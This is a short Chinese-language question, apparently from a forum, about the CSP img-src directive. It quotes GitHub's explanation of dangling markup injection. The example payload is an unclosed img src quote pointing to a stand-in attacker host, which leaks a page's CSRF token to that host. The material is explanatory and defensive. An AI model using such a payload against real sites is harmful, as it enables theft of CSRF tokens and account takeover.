img-src
GitHub在
“GitHub 的后 CSP 之旅”中解释了这个问题:
带有未闭合引号的标签将捕获直到下一个匹配引号的所有输出。这可能包括页面上的安全敏感内容,例如:
<img src='https://some-evil-site.com/log_csrf?html= <form
action="https://github.com/account/public_keys/19023812091023"> ...
<input type="hidden" name="csrf_token" value="some_csrf_token_value">
</form>
生成的图像元素将向 https://some_evilsite.com/log_csrf?html=...some_csrf_token_value ... 发送请求。因此,攻击者可以利用这种悬空标记攻击将 CSRF 令牌泄露到他们的站点选择。
这与在页面上按 page-source 并手动发送内容有何不同?如果仅针对用户可以插入输入的页面,我们是否必须通过向输入添加验证来仅防止输入问题?不阻止所有代码中其他来源的img src?